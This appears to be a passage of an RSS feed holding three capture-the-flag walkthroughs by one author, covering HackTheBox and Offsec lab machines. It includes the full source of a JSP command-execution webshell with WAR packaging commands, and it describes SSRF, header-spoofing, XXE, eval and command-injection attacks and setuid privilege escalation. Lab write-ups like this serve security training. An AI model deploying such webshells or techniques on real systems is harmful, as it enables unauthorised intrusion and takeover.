            <content:encoded><![CDATA[<p>Hackthebox retired Box</p><p><strong><em>Init Foothold</em></strong></p><p>We started our recon with nmap automator which showed some of the open ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*fikFLVR0PLzK-_xF-NU0kQ.png" /></figure><p>Upon running the full scan we saw port 60000 is open with custom web app.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*fgGcBcCBUwFNTI643eN2_g.png" /></figure><p>The site says “its a web hosting site” and has a input box asking for a url.<br>We put our url to test for ssrf.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BlmWOtwBn4g0xC_-fLrw5w.png" /></figure><p>Upon checking my listener i saw a request coming from the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*Kzdues7GfaXT3hOaTOaySQ.png" /></figure><p>Now as we have ssrf,there are some ways we can get an rce through it.But it depends on the services this box is running in the localhost.If we get the port 6379 to be open we can use the gopher protocol to exploit it.</p><p><a href="https://github.com/tarunkant/Gopherus">GitHub - tarunkant/Gopherus: This tool generates gopher link for exploiting SSRF and gaining RCE in various servers</a></p><p>So we quickly ran a ffuf to check all the open ports.</p><p>Note:This internal port scanning can be done with various ways.Easiest way is to use burp intruder.Since i was doing this on a test machine and didnt have burp pro i didn’t used it as the normal intruder is very slow.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*nYnUMV7hEqJnG-qgJxg9lw.png" /></figure><p>In the mean while we were running ffuf on port 8080 to see if we get something and we got /manager/ to be there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*w9eDbZDEfaDeORmitGdU3w.png" /></figure><p>So if we can get the creds somehow we can deploy a malicious war file which will give us the shell directly.So things we need is may be exposed creds(through information disclouser) or a Local file Inclusion using which we can read the tomcat-user.xml file.</p><p>If we see the nmap results there is a port 8009 open which runs apache jserve and it it vulnerable to ghostcat which is nothing but a local file inclusion bug,which can further used to get a shell if there is a upload functionality on the target.</p><p><a href="https://github.com/00theway/Ghostcat-CNVD-2020-10487">GitHub - 00theway/Ghostcat-CNVD-2020-10487: Ghostcat read file/code execute,CNVD-2020-10487(CVE-2020-1938)</a></p><p>The above tool can be used to exploit ghostcat directly.</p><p>But unfortunately this is not useful to us as this bug can only read files that are in the classpath.not arbitary files.</p><p>So back to the internal port scanning</p><p>We see some of the ports are open .We visited them one by one but didn&#39;t found any of them to be useful except the port 888.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SNH9wB9V_hPGYbN5eEXXZQ.png" /></figure><p>As you can see this port has a directory listing enabled and it hold a directory called backup,which gave us the username and password.we tried it with /manager/html/ and it worked and we got in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*hTYPEw9df08nbPH-n5TwMA.png" /></figure><p>We then used a simple jsp to execute code on the machine.</p><blockquote>&lt;FORM METHOD=GET ACTION=’index.jsp’&gt; &lt;INPUT name=’cmd’ type=text&gt; &lt;INPUT type=submit value=’Run’&gt; &lt;/FORM&gt; &lt;%@ page import=”java.io.*” %&gt; &lt;% String cmd = request.getParameter(“cmd”); String output = “”; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd,null,null); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s+”&lt;/br&gt;”; } } catch(IOException e) { e.printStackTrace(); } } %&gt; &lt;pre&gt;&lt;%=output %&gt;&lt;/pre&gt;</blockquote><p>Then I created a war file by</p><blockquote>mkdir webshell</blockquote><blockquote>cp index.jsp webshell/</blockquote><blockquote>cd webshell</blockquote><blockquote>jar -cvf ../webshell.war *</blockquote><p>Once the war file is ready i deployed it and executed it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*It8wN18P9Y1VjjXDMn2pWg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*CzN2xT9A4cFB-4JuAVBDwQ.png" /></figure><p>using this I got the shell.</p><p><strong><em>Priv ESC</em></strong></p><p>Once i got in i tried running linpeas for some easy wins but could not found any,as this box is 4 5 years older there is good chance of kernel exploit.Linpeas also indicated the kernel version to be vulnerable.</p><p>So i tried linux-exploit-suggestor.sh and downloaded the eBPF_verifier exploit.After compiling this i ran this and i got root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*--TMgB6wSCZJb7uIsbTB9A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/1*ISSVpBwnQmOJayeNV_g-Aw.png" /></figure><p><a href="https://github.com/mzet-/linux-exploit-suggester">GitHub - The-Z-Labs/linux-exploit-suggester: Linux privilege escalation auditing tool</a></p><p>But even after getting root we didn&#39;t got the root flag.There is file on the /root called app.log which indicated that the ip 10.0.1.33 is requesting a file called .archive.tar.gz using wget 1.16.</p><p>A little googling on wget 1.16 revelaed that this vulnerable to arbiatry file upload.</p><p>We followed the below POC to get the root.txt from 10.0.1.33</p><p><a href="https://www.exploit-db.com/exploits/40064">Offensive Security&#39;s Exploit Database Archive</a></p><p><strong><em>Thanks For Reading</em></strong></p><p><strong><em>Happy Hacking</em></strong></p><p>You can connect with me on</p><p>linkedin: <a href="https://www.linkedin.com/in/swagatkumar/">https://www.linkedin.com/in/swagatkumar/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ed369073d0fc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[XposedApi]]></title>
            <link>https://w3bspl01t3r.medium.com/xposedapi-35efbe1fc2c1?source=rss-86ff73133e73------2</link>
            <guid isPermaLink="false">https://medium.com/p/35efbe1fc2c1</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[offsec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[api]]></category>
            <dc:creator><![CDATA[Swagat]]></dc:creator>
            <pubDate>Thu, 30 Sep 2021 18:36:14 GMT</pubDate>
            <atom:updated>2021-09-30T18:36:14.762Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Offsec PG Practice</strong></p><p><strong><em>INIT FOOTHOLD:</em></strong></p><p>I started my recon with nmap automator and found few of the ports open .</p><p>As you can see nmap initial port scan says only port 22 to be open that too also openssh 7.9p1 which dont have any public exploit to give an rce.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*tiAAwK1MR7vNlKf5ODpiOQ.png" /></figure><p>After sometime nmap completed its full scan and found 13337 port to be open</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*L2cK5BSIvxwnEjx50Lhs6w.png" /></figure><p>So we headed over to port 13337 which was a Remote Management Server meant to be used for administrative purpose and should not be expose to the internet.But it is.</p><p>There are couple of endpoints such as</p><p><em>/version==&gt;It gives the version of the app that is hosted.</em></p><p><em>/log==&gt;It gives the logs of the app but it allows connection only from localhost.</em></p><p><em>/update==&gt;it takes a username and a url in json format where the url must point to a elf which will be used to update the app.</em></p><p><em>/restart==&gt;To restart the app</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X0oLhCBfPE2ZmVEnlY20Qw.png" /></figure><p>So we first moved to logs to see how is it checking the whether its comming from localhost or not.</p><p>One way to do so is to check the X-Forwarded-For header or may be X-Remote-Ip and all.But these implementations are often buggy and relying on a http header that can be controlled by the user is not a good idea.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*sR19hEyrRVrEnHro15wZxw.png" /></figure><p>So I tried to bypass it by putting a X-Fowarded-For header and we did bypass the check and it gave us some info like .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SxtaKy2Zmig-M4voE942mA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4LH9lzyKXZxGAYTP-4Pkxg.png" /></figure><p>So I used the info it read local files and as you can see we are able to read the /etc/passwd file.</p><p>We then explored the /update endpoint and as i said before it takes a username an url to get the elf file which is then used to update the app.</p><p><strong><em>Exploitation<br></em></strong>There are different ways we can exploit this app to get the foothold.</p><ol><li><strong>RCE through the /restart and /update endpoint</strong>.</li></ol><p>As we can see that the /update endpoint takes an elf from the user and then /restart endpoint is used to restart the app with that elf I prepared an reverse_shell elf with msfvenom.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QeZf-T7sRRpA4jFQsNmM4A.png" /></figure><p>Then I hosted it, used the /update endpoint to make the app get my elf and then execute it and BOOM i got the shell back.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*X9vLd-xh5OxLYCBWFMMTsg.png" /></figure><p>2<strong>. Leaking the source code and identifying the RCE.</strong></p><p>As we have a LFI we are already in the web root,so trying some common file names like main.py , app.py, api.py may give us the source code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uq7SnCgeHGjCDzzuBLwFhw.png" /></figure><p>If you see the code on the /update endpoint you will see that the input is being sent to the os.system() with out any sanitization.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/995/1*vaEznJEh0MpXo7oUepoMyA.png" /></figure><p>Which leads to code execution.</p><p>So I hosted my reverse shell script on my machine and prepared the payload to place in the update endpoint and executed it with this command exeution bug only to get the shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*1dMCm2EMDBLOPuyD7oRNrQ.png" /></figure><p><strong><em>PRIVESC</em></strong></p><p>Once I got in before trying any enumeration script i quickly tried to see the setuid binaries.</p><blockquote><em>/usr/lib/dbus-1.0/dbus-daemon-launch-helper<br>/usr/lib/openssh/ssh-keysign<br>/usr/lib/eject/dmcrypt-get-device<br>/usr/bin/mount<br>/usr/bin/passwd<br>/usr/bin/su<br>/usr/bin/wget<br>/usr/bin/fusermount<br>/usr/bin/umount<br>/usr/bin/chfn<br>/usr/bin/chsh<br>/usr/bin/newgrp<br>/usr/bin/sudo<br>/usr/bin/gpasswd</em></blockquote><p>As you can see we have wget having suid privilege.So we can download a file and can place it anywhere we want which leads to arbitary file write.</p><p>Here we can either write the /etc/shadow file or may be /etc/passwd or /etc/sudoers file to get the root privilege.</p><p>I decided to overwrite the /etc/passwd file .</p><p>I used openssl to create hash for me and added it to file named as passwd file,and then i used wget to place in in /etc/passwd.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*DYday42_6IBt5lu7rTAH5Q.png" /></figure><p>And then i used su — wh0am1 and passed my password and got root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/569/1*LLNsCeC89_8B1bikPcithg.png" /></figure><p><strong><em>Thanks For Reading.<br>Happy Hacking</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=35efbe1fc2c1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bounty Hunter]]></title>
            <link>https://w3bspl01t3r.medium.com/bounty-hunter-daa30ed6a745?source=rss-86ff73133e73------2</link>
            <guid isPermaLink="false">https://medium.com/p/daa30ed6a745</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[bounty-hunter]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Swagat]]></dc:creator>
            <pubDate>Tue, 28 Sep 2021 16:53:36 GMT</pubDate>
            <atom:updated>2021-09-28T16:53:36.858Z</atom:updated>
            <content:encoded><![CDATA[<p>Hackthebox</p><p><strong><em>INIT FOOTHOLD</em></strong></p><p>I started my recon with nmap automator and got following ports to be open.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*lC-4MnpIKvBSescZjDnaWw.png" /></figure><p>So I headed over to port 80 to enumerate the web app.</p><p>It was almost a static page with only portal working.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zuYCJ8oim3LVyor7Hvm3iA.png" /></figure><p>Upon moving to the portal it says</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U8gWaPulNlQZ59uVcW9WLQ.png" /></figure><p>And there is hyperlink which leads to a bounty management system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RIh3Je7aPgInMBhdO9asxg.png" /></figure><p>Upon playing around with the burp in place i found that it sends some data as base64 encoded to a endpoint called tracker_diRbPr00f314.php.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*WlQmor6dxmA82tv4YA4g7g.png" /></figure><p>Which on decoding gave the xml data that are being sent.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RENMSObYOxI6A2p5bC4GPQ.png" /></figure><p>So there is good chance of xxe injection.</p><p>I prepared a payload and appended it to the existing xml request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DwjGVAr71_19V8IinER9tQ.png" /></figure><p>and sure enough i got the /etc/passwd file.</p><p>Then i tried to get the /development/.ssh/id_rsa but that didnt exsit.</p><p>So i grabbed the source code of different files to see whats in there,and in one ofthe file it says “if db was ready then this”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/458/1*-y3zdz7yzfXjENcWa6MSSg.png" /></figure><p>So i though there might be a php file called db.php.I used php filter base64 one and grabbed the contents of that file.Upon decoding i got some db credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*2lXFIWr7Ol4kPTzWJmIjVg.png" /></figure><p>I used this creds to ssh into the box as development user as people often reuse their password and i successfully got in to the box.</p><p><em>PRIVESC</em></p><p>Then i checked for the sudo priv the user has(as i have the credentials for the dev user)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*R6FiwNp91MOQnURS642CXw.png" /></figure><p>Upon examining the source code of the ticketValidator.py</p><p>it takes a file as input with extension of md.</p><p>it has a certain pattern to follow and then it splits the numbers , takes the first number and divides it with 7 if the reminder is 4 it passes that line to the eval() function.</p><p><em>NOTE:Take a look into the invalid tickes toi get an idea about how the structure of the ticket should be.</em></p><p>And as we know<strong><em> eval is evil.</em></strong></p><p>So I prepared a small poc to test my payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*StjEFH0v-XhxDRZMiJzixQ.png" /></figure><p>and the directory got created.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XTW_Cu9ogt8QNCskVQru1Q.png" /></figure><p>Then i prepared a shell.sh with my reverse shell on it and executed it with bash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/1*uOC3JJgcNb_EJlG-OefcMw.png" /></figure><p>Upon executing it the system got hanged, i checked my listener and i was in as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/482/1*LdSX-dXZ3GqW67TKfLPFbA.png" /></figure><p><strong>Thanks for reading</strong></p><p><strong>Happy Hacking</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=daa30ed6a745" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>